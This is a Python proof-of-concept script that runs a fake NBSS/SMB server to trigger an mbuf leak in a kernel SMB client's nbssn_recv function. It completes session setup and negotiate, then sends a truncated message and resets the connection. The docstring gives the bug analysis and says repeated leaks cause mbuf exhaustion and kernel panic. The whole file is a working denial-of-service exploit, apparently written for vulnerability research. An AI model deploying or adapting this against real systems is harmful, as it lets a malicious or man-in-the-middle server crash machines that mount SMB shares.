#!/usr/bin/env python3
"""
DF-0673 PoC: nbssn_recv (sys/netproto/smb/smb_trantcp.c:345-374) mbuf leak.

The bug:
  - inner do/while at :345-351 calls sbinit(&sio, savelen) at :346 which
    ZEROES sio.sb_mb (sockbuf.h:115-126 only zeroes fields, frees nothing).
    If a prior partial chain is in sio.sb_mb (soreceive returned EWOULDBLOCK/
    EINTR/ERESTART with partial bytes), that chain is orphaned/leaked.
  - outer `if (error) break;` at :352-353 exits with sio.sb_mb possibly
    holding a partial chain; cleanup at :367-373 only runs when error==0,
    so the chain is leaked.

Trigger:
  - mount_smbfs attempts an SMB session.
  - Kernel smb_iod thread enters smb_iod_recvall (smb_iod.c:304) which loops
    calling SMB_TRAN_RECV -> smb_nbst_recv -> nbssn_recv.
  - Server (this script) completes the NBSS session setup and SMB negotiate,
    then sends a NBSS message header advertising N bytes but delivers < N
    before closing. soreceive returns ECONNRESET/short-read with partial data
    in sio.sb_mb. nbssn_recv hits `if(error)break` at :352-353, outer loop
    exits, cleanup at :367-373 skipped (error!=0), chain leaked.
  - Each iteration of smb_iod_recvall (smb_iod.c:322 for(;;)) re-enters
    nbssn_recv which can re-leak on each retry; sustained mbuf exhaustion
    leads to network collapse / panic.

Preconditions (realistic):
  - smbfs.ko loaded (root action; realistic on systems mounting SMB shares).
  - Malicious SMB server (network attacker / MitM / compromised server).

This script: minimal fake NBSS+SMB server speaking just enough to reach the
post-negotiate receive loop, then triggering the leak.

Run as root on the guest:
    python3 fake_smb_server.py &
    mount_smbfs -N -I 127.0.0.1 //guest@localhost/share /mnt
"""

import socket
import struct
import sys
import threading
import time

HOST = "127.0.0.1"
PORT = 139

def nbss_hdr(msg_type, length):
    # NBSS header: type(1) flags(1) length(14-bit BE)
    return struct.pack(">BBH", msg_type, 0, length & 0x3FFF)

def read_exact(conn, n):
    buf = b""
    while len(buf) < n:
        chunk = conn.recv(n - len(buf))
        if not chunk:
            return None
        buf += chunk
    return buf

def handle(conn):
    try:
        # 1. Read client NBSS session request
        hdr = read_exact(conn, 4)
        if not hdr:
            return
        mt = hdr[0]
        if mt == 0x81:  # SESSION_REQUEST
            # length tells us how much name payload follows
            length = ((hdr[1] & 0x01) << 16) | (hdr[2] << 8) | hdr[3]
            _ = read_exact(conn, length)
            # positive session response
            conn.sendall(nbss_hdr(0x82, 0))  # POSITIVE SESSION RESPONSE
            print("[server] sent positive session response")
        else:
            print("[server] unexpected msg type 0x%02x" % mt)
            return

        # 2. Read SMB negotiate (4-byte NBSS + SMB header)
        hdr = read_exact(conn, 4)
        if not hdr:
            return
        length = ((hdr[1] & 0x01) << 16) | (hdr[2] << 8) | hdr[3]
        negotiate = read_exact(conn, length)
        print("[server] got SMB negotiate (%d bytes)" % length)

        # 3. Send a fake SMB negotiate response (just enough to be parsed)
        # SMB header: \xffSMB + cmd=0x72 (negotiate) + status/flags/etc
        smb_hdr = b"\xffSMB" + bytes([0x72]) + b"\x00\x00\x00\x00"
        smb_hdr += b"\x00" * 24  # padding for flags2/tid/pid/uid/mid
        # dialect_index=0, security_mode=1, max_mpx=10, max_vc=1, etc
        body = struct.pack("<H", 0)  # dialect index
        body += struct.pack("<B", 1)  # security mode
        body += struct.pack("<H", 10)  # max mpx
        body += struct.pack("<H", 1)  # max vc
        body += struct.pack("<I", 65536)  # max buf
        body += struct.pack("<I", 65536)  # max raw
        body += struct.pack("<I", 0)  # session key
        body += struct.pack("<HBBHIIQQ", 0, 0, 0, 0, 0, 0, 0, 0)  # capabilities/time
        body += struct.pack("<H", 0)  # byte count
        resp = smb_hdr + body
        conn.sendall(nbss_hdr(0x00, len(resp)) + resp)
        print("[server] sent negotiate response (%d bytes)" % len(resp))

        time.sleep(0.2)

        # 4. Now send a NBSS message header claiming 4000 bytes,
        #    deliver only ~50 bytes, then close (RST).
        claimed = 4000
        conn.sendall(nbss_hdr(0x00, claimed))
        conn.sendall(b"\x00" * 50)
        print("[server] sent NBSS message hdr claiming %d, delivered 50 bytes" % claimed)

        # Force RST close: set SO_LINGER to 0 then close
        l = struct.pack("ii", 1, 0)
        try:
            conn.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, l)
        except OSError:
            pass
        conn.close()
        print("[server] closed (RST) -- trigger soreceive error on partial chain")
    except Exception as e:
        print("[server] error:", e)
    finally:
        try:
            conn.close()
        except Exception:
            pass

def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    print("[server] listening on %s:%d" % (HOST, PORT))
    try:
        while True:
            c, _ = s.accept()
            print("[server] accepted connection")
            t = threading.Thread(target=handle, args=(c,), daemon=True)
            t.start()
    except KeyboardInterrupt:
        pass
    finally:
        s.close()

if __name__ == "__main__":
    main()